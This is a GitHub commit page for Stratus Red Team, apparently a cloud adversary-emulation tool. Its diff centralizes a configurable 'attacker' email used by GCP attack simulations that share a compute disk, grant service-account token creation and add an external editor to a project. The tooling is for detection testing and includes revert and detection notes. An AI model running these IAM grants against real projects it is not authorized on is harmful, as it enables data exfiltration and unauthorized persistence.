Skip to content

Commit

Permalink
Allow customizing the attacker e-mail in gcp.exfiltration.share-compu…
Browse files Browse the repository at this point in the history
…te-disk (#386)

closes #385
  • Loading branch information
pberba committed Jul 27, 2023
1 parent 304c5a7 commit bb96865
Show file tree
Hide file tree
Showing 4 changed files with 45 additions and 37 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ import (

_ "embed"
"fmt"
gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp"
"github.com/datadog/stratus-red-team/v2/internal/providers"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
Expand All @@ -16,8 +17,10 @@ import (
//go:embed main.tf
var tf []byte

const codeBlock = "```"
const AttackTechniqueId = "gcp.exfiltration.share-compute-disk"

func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "gcp.exfiltration.share-compute-disk",
FriendlyName: "Exfiltrate Compute Disk by sharing it",
Expand All @@ -31,6 +34,17 @@ Warm-up:
Detonation:
- Set the IAM policy of the disk so that the attacker account has permissions to read the disk in their own project
!!! note
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
this behavior by setting the environment variable <code>` + gcp_utils.AttackerEmailEnvVarKey + `</code>, for instance:
` + codeBlock + `bash
export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
stratus detonate ` + AttackTechniqueId + `
` + codeBlock + `
`,
Detection: `
You can detect when someone changes the IAM policy of a Compute Disk, using the GCP Admin Activity audit logs event <code>v1.compute.disks.setIamPolicy</code>. Here's a sample event, shortened for clarity:
Expand Down Expand Up @@ -129,14 +143,14 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error
gcp := providers.GCP()
diskName := params["disk_name"]
zone := params["zone"]
attackerEmail := "christophe@somewhereinthe.cloud"
attackerPrincipal := gcp_utils.GetAttackerPrincipal()

log.Println("Exfiltrating " + diskName + " by sharing it with a fictitious attacker")
err := shareDisk(gcp, diskName, zone, attackerEmail)
err := shareDisk(gcp, diskName, zone, attackerPrincipal)
if err != nil {
return fmt.Errorf("failed to share disk: %w", err)
}
log.Println("Successfully shared disk with a fictitious attacker account " + attackerEmail)
log.Println("Successfully shared disk with a fictitious attacker account " + attackerPrincipal)
return nil
}

Expand All @@ -154,7 +168,7 @@ func revert(params map[string]string, providers stratus.CloudProviders) error {
return nil
}

func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetUser string) error {
func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetPrincipal string) error {
diskClient, err := compute.NewDisksRESTClient(context.Background(), gcp.Options())
if err != nil {
return fmt.Errorf("unable to create compute client: %w", err)
Expand All @@ -170,7 +184,7 @@ func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetU
Policy: &computepb.Policy{
Bindings: []*computepb.Binding{
{
Members: []string{"user:" + targetUser},
Members: []string{targetPrincipal},
Role: &roleName,
},
},
Expand Down Expand Up @@ -204,3 +218,4 @@ func unshareDisk(gcp *providers.GCPProvider, diskName string, zone string) error
}
return nil
}

Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,8 @@ import (
"errors"
"fmt"
"log"
"os"
"strings"

gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
iam "google.golang.org/api/iam/v1"
Expand Down Expand Up @@ -40,12 +39,12 @@ it's a resource-based policy that grants permissions to other identities to impe
!!! info
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default.
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
this behavior by setting the environment variable <code>` + AttackerEmailEnvVarKey + `</code>, for instance:
this behavior by setting the environment variable <code>` + gcp_utils.AttackerEmailEnvVarKey + `</code>, for instance:
` + codeBlock + `bash
export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
stratus detonate ` + AttackTechniqueId + `
` + codeBlock + `
`,
Expand Down Expand Up @@ -98,7 +97,7 @@ const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL"
const RoleToGrant = "iam.serviceAccountTokenCreator"

func detonate(params map[string]string, providers stratus.CloudProviders) error {
attackerPrincipal := getAttackerPrincipal()
attackerPrincipal := gcp_utils.GetAttackerPrincipal()
policy := &iam.Policy{
Bindings: []*iam.Binding{
{
Expand Down Expand Up @@ -142,11 +141,3 @@ func setServiceAccountPolicy(providers stratus.CloudProviders, saEmail string, s
return nil
}

func getAttackerPrincipal() string {
const UserPrefix = "user:"
if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" {
return UserPrefix + strings.ToLower(attackerEmail)
} else {
return UserPrefix + DefaultFictitiousAttackerEmail
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,6 @@ import (
gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"os"
"strings"
)

const AttackTechniqueId = "gcp.persistence.invite-external-user"
Expand All @@ -28,12 +26,12 @@ Detonation:
!!! note
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default.
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
this behavior by setting the environment variable <code>` + AttackerEmailEnvVarKey + `</code>, for instance:
this behavior by setting the environment variable <code>` + gcp_utils.AttackerEmailEnvVarKey + `</code>, for instance:
` + codeBlock + `bash
export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
stratus detonate ` + AttackTechniqueId + `
` + codeBlock + `
`,
Expand Down Expand Up @@ -101,12 +99,10 @@ which cannot be done through the SetIamPolicy API call. In that case, an <code>I
})
}

const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com"
const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL"
const RoleToGrant = "roles/editor"

func detonate(_ map[string]string, providers stratus.CloudProviders) error {
attackerPrincipal := getAttackerPrincipal()
attackerPrincipal := gcp_utils.GetAttackerPrincipal()
err := gcp_utils.GCPAssignProjectRole(providers.GCP(), attackerPrincipal, RoleToGrant)
if err != nil {
return fmt.Errorf("unable to assign %s to %s: %w", attackerPrincipal, RoleToGrant, err)
Expand All @@ -115,19 +111,11 @@ func detonate(_ map[string]string, providers stratus.CloudProviders) error {
}

func revert(_ map[string]string, providers stratus.CloudProviders) error {
attackerPrincipal := getAttackerPrincipal()
attackerPrincipal := gcp_utils.GetAttackerPrincipal()
err := gcp_utils.GCPUnassignProjectRole(providers.GCP(), attackerPrincipal, RoleToGrant)
if err != nil {
return fmt.Errorf("unable to assign %s to %s: %w", attackerPrincipal, RoleToGrant, err)
}
return nil
}

func getAttackerPrincipal() string {
const UserPrefix = "user:"
if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" {
return UserPrefix + strings.ToLower(attackerEmail)
} else {
return UserPrefix + DefaultFictitiousAttackerEmail
}
}
14 changes: 14 additions & 0 deletions v2/internal/utils/gcp/gcp_utils.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
package gcp_utils

import (
"os"
"strings"
"context"
"errors"
"fmt"
Expand Down Expand Up @@ -91,3 +93,15 @@ func GCPUnassignProjectRole(gcp *providers.GCPProvider, principal string, roleTo
// no reference to the principal in the project's IAM policy, we're good to go - nothing to do
return nil
}

const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com"
const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL"

func GetAttackerPrincipal() string {
const UserPrefix = "user:"
if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" {
return UserPrefix + strings.ToLower(attackerEmail)
} else {
return UserPrefix + DefaultFictitiousAttackerEmail
}
}

0 comments on commit bb96865

Please sign in to comment.